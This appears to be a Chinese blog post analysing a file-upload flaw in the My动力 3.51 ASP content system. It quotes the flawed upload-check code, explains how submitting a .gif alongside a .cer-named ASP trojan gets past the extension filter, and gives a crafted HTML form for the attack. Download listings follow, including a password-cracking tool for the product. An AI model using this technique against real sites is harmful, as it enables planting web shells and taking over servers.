`
seawavenews
  • 浏览: 231635 次
  • 性别: Icon_minigender_1
  • 来自: 杭州
文章分类
社区版块
存档分类
最新评论

动力3.51 漏洞

阅读更多

一.概述
        My动力文章管理系统是由asp163.net开发的一套文章管理系统,最近由于要做个网站就对他的代码 研究了一下,呵呵,虽然webboy对My动力做了不少安全措施,防止了可能的sqlinjection攻击,但这样似乎给人一种非常安全的错觉,我们一 起来分析一下吧。
        我们先到网站上面注册一个用户,进入用户的文章管理看看,可以添加软件,添加图片……,看看可以上传东西吧,但 是My动力文件管理系统似乎限制只允许已定义的文件后缀上传,如软件只允许rar|zip|exe|mpg|rm|wav|mid格式,有没有办法突破 呢?
二.漏洞详细分析过程
        其实仔细研究一下是发现有可能上传ASP文件的!大家看Upfile_Soft.asp的这一段代码(其他用于上传的文件类似):
const UpFileType="rar|zip|exe|mpg|rm|wav|mid"        '定义了可以上传的文件类型
...
dim EnableUpload         '定义了是否允许上传的关键变量
...
FoundErr=false        '默认FoundErr变量为假,即没有发现错误(哈哈,关键变量哦,看下面)
EnableUpload=false        '默认EnableUpload变量为假,即不能上传(哈哈,关键变量哦)
...
for each formName in upload.file'列出所有上传了的文件(!关键,注意这个FOR循环!)
set ofile=upload.file(formName)          '生成一个文件对象
...
arrUpFileType=split(UpFileType,"|")        '取得定义的可以上传的后缀名                
for i=0 to ubound(arrUpFileType)
if fileEXT=trim(arrUpFileType(i)) then
EnableUpload=true        'hoho,EnableUpload变量改变了!
exit for
end if
next
if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then '呵呵,只要是ASP,ASA,ASPX的后缀就废掉了,难怪海洋顶端上不去阿!
EnableUpload=false
end if
if EnableUpload=false then
msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
FoundErr=true                        'hoho,FoundErr变量改变了!
end if
...
if FoundErr<>true then                        '又是一个重要地方,看来FoundErr变量是能否上传的关键,那如何决定FoundErr变量呢?(草草虫ps:偶可以瞪大了眼睛看啊)
randomize
ranNum =int(900*rnd)+100        '生成一个随机数                filename=SavePath& year(now)&month(now)&day(now)&hour(now)&minute(now)&second (now)&ranNum&"."&fileExt        '没有改变上传文件的后缀,爽阿
        ...
        ofile.SaveToFile Server.mappath(FileName)   '保存文件
        response.write "软件上传成功!软件大小为:" & cstr(round(oFileSize/1024)) & "K"
        strJS=strJS & "parent.document.myform.DownloadUrl1.value='" & fileName & "';" & vbcrlf        '晕拉~还返回上传后改的名字,这回好了,不用猜了。
        strJS=strJS & "parent.document.myform.SoftSize.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf
    注:...表示省略了部分代码
     大家研究一下这段代码会发现,My动力使用了化境无组件上传类来上传,而化境的无组件上传类可以上传多个文件,for each formName in upload.file这一句就是用于取得所有form中取得的文件名。第二个for循环for i=0 to ubound(arrUpFileType)用于检测文件类型,如果不满足条件则关键变量EnableUpload为默认值false,而 EnableUpload为默认值false时又导致关键变量FoundErr值得改变为true,我们的目的就是想办法避免FoundErr值的改变, 让他保持默认值false,我们注意到if fileEXT=trim(arrUpFileType(i)) then这一句如果满足条件则EnableUpload为真,那么当有多个文件用于上传时,作者考虑到了么?显然是没有的,虽然各上传界面的都是只有一个 上传提交框,但我们可以在本地自己构造阿~

这样我们改变action到远程地址,提交两个文件的话,在asp文件中,第一个for循环检查第一个文件sql2reg.gif,第2个for循 环检查文件后缀gif,显然满足条件因此可以上传EnableUpload=true,然后逐步跳过各语句,由于默认FoundErr=false,文件 上传了!然后第一个for循环检查文件2:sqlexec.cer文件,第二个for循环发现不满足
文件后缀条件,跳过,我的文件不是asp等后缀,再跳过if语句,呵呵,EnableUpload变量保持为第一次循环的true值,这样保证了FoundErr也没改变,哈哈哈哈,木马上传成功!!!
    这里用了一个小技巧,大家肯定发现了,我的asp木马没用asp后缀,是因为程序作了限制,但是限制的不全,因为iis中调用asp文件的是asp.dll,asp.dll的应用程序映射还包括.cdx和.cerok拉,我们的.cer后缀一样可以运行。
三.小结Exploits
     再总结一下发现过程,我们倒推一下,FoundErr变量决定能否上传而且只要保持默认值就可以上传,但EnableUpload变量决定了 FoundErr的改变,只要能改变EnableUpload变量的默认值false就好了即要EnableUpload=true这一句执行,呵呵
看 看怎样能改变EnableUpload的默认值,只有当fileEXT=trim(arrUpFileType(i))即文件后缀名满足条件,在第一个 for循环中如果改变EnableUpload值的话,第二次循环中EnableUpload值也就会保持下来,从而FoundErr也保持为 false。
四.攻击测试
        攻击方法,自己建立一个用户上传的叶面,如
<html><body>
<form action="http://127.0.0.1:1234/Upfile_Soft.asp"; method="post" name="form1" onSubmit="return check()" enctype="multipart/form-data">
  <input name="FileName1" type="FILE" class="tx1" size="40">
  <input name="FileName" type="FILE" class="tx1" size="40">
  <input type="submit" name="Submit" value="上传" style="border:1px double rgb(88,88,88);font:9pt">
</form></body></html>
分享到:
评论

相关推荐

    MY动力 v3.51繁体中文版

    《MY动力 v3.51繁体中文版》是一款针对网站构建和管理的软件系统,其最新3.51版本是对3.5正式版的升级和优化。此版本的发布旨在提升系统的稳定性和功能性,为用户提供更为流畅的操作体验。下面我们将深入探讨这款...

    MY动力管理系统 v3.51 正式版

    "MY动力管理系统 v3.51 正式版"是一款专为新闻发布类应用设计的管理软件,旨在提供高效、稳定且功能丰富的平台解决方案。这款系统的最新版本3.51在原有的基础上进行了诸多改进和优化,以提升用户体验和系统性能。 ...

    暨阳视窗动力3.51+Leadbbs3.14整合版

    暨阳视窗动力3.51+Leadbbs3.14整合版 下载上传后记得执行论坛的SETUP.ASP文件!动力和LEADBBS的管理员用户、密码均为:admin 、admin888 动力全站,是一套功能完善,实用的整站程序,再加上leadbbs3.14的论坛...

    MY动力 v3.51 纯文章版

    "MY动力 v3.51 纯文章版"正是为满足这一需求而诞生的新闻发布和管理系统,它以其精简的功能和优异的扩展性,成为了新闻发布类软件中的佼佼者。 作为一款专门为文章发布和管理量身打造的软件系统,"MY动力"的开发...

    MY动力 Ver 3.51 Build 正式版.rar

    一、新增动力下载管理系统 =========================================== 1、模块化的程序设计,使得前台页面设计与程序设计几乎完全分离。在前台页面采用过程调用方法。在修改页面设计时只需要在相应位置调用设计...

    MY动力 V 3.51 密码破解工具

    MY动力 V 3.51 密码破解工具MY动力 V 3.51 密码破解工具

    IT流氓V6(动力3.51 leadbbs3.14整合美化版)提供下载.rar

    IT流氓V6(动力3.51 leadbbs3.14整合美化版)提供下载 管理员帐号为: 用户名:admin, 密码: admin888; 目录下leadbbs/data/LeadBBS.asp为论坛主数据库,也是用户所在数据库; BBS各风格图片请用户自行在论坛的管理界面的...

    MY动力 v3.51简体中文版

    【MY动力 v3.51简体中文版】是一款针对网站开发者的软件工具,它集成了全站代码管理和源码编辑的功能,旨在提高开发效率,优化项目管理。这个版本是针对之前3.5正式版的一次重要更新,主要侧重于修复已知的BUG并添加...

    艺点在线动力3.51+Dv7.0 sp2最新整合版

    移植4.0统计到3.51系统 8.打了所有安全补丁 主站管理员用户名和密码 admin admin888 论坛前台管理员用户名和密码 15165 15165.com&lt;br&gt; 论坛后台管理员用户名和密码 admin admin...

    My动力 Ver 3.51 Build 20031012正式版

    《My动力 Ver 3.51 Build 20031012正式版》是一款在2003年推出的全站程序,以其精美设计和高效功能吸引了众多用户。这款软件集成了多种实用功能,旨在为网站运营者提供一套完整的解决方案,包括内容管理、用户互动...

    MY动力 v3.51 疯狂领域(卡通美化版) v2.0

    《MY动力 v3.51 疯狂领域(卡通美化版) v2.0——一个创新的个性化软件体验》 MY动力 v3.51 疯狂领域(卡通美化版) v2.0是一款集多功能于一体的软件,旨在提供一个既美观又实用的平台,让用户在日常使用中感受到独特的...

    MY动力v3.51+动网6.1 整合包

    【MY动力v3.51+动网6.1 整合包】是一个集合了MY动力v3.51和动网6.1两个系统的完整源代码包,旨在为用户提供一个集成了这两种功能强大且相互兼容的网络平台。这个整合包经过了专业调试,确保了两个系统的无缝对接和...

    MySQL ODBC驱动3.51版

    MySQL ODBC驱动3.51版

    WinRAR3.51.exe

    WinRAR3.51.exe WinRAR3.51.exe WinRAR3.51.exe WinRAR3.51.exe

    【绝种经典操作系统】Windows NT 3.51 Workstation 中文版

    《深入探索:Windows NT 3.51 Workstation——绝种经典操作系统的魅力与技术剖析》 Windows NT 3.51 Workstation是微软在20世纪90年代中期推出的一款面向个人工作站的先进操作系统,它在当时的IT领域扮演着重要的...

    动力文章 v3.0 FOR HTML V1.0 Build 20030810 正式版

    首先,"动力文章"这个名字暗示了该软件具有动态生成和管理文章内容的能力。在互联网早期,静态网页是主流,但随着技术的发展,动态内容生成变得越来越重要。这种动态生成允许网站管理员实时更新和发布新闻,而无需...

    Windows NT 3.51 (Workstation & Server) 简体中文版

    《Windows NT 3.51:历史、特点与影响》 Windows NT 3.51是微软公司于1995年推出的一款操作系统,它在Windows NT 3.5的基础上进行了增强和改进,包含了工作站(Workstation)和服务器(Server)两个版本,以满足...

    editplus3.51 中文破解

    editplus3.51 中文破解。 程序员压箱底工具,都知道

    常用web开发工具 01 EditPlus 3.51中文版.zip

    常用web开发工具 01 EditPlus 3.51中文版.zip常用web开发工具 01 EditPlus 3.51中文版.zip常用web开发工具 01 EditPlus 3.51中文版.zip常用web开发工具 01 EditPlus 3.51中文版.zip常用web开发工具 01 EditPlus 3.51...

    MY动力管理系统 v3.51 正式版(繁)

    MY动力管理系统 v3.51 正式版是一款专为新闻发布类应用设计的高效能管理软件,主要针对中文用户群体,特别提供了繁体版本,确保了在非简体中文环境下的良好用户体验。这款系统旨在帮助用户更有效地组织、发布和管理...

Global site tag (gtag.js) - Google Analytics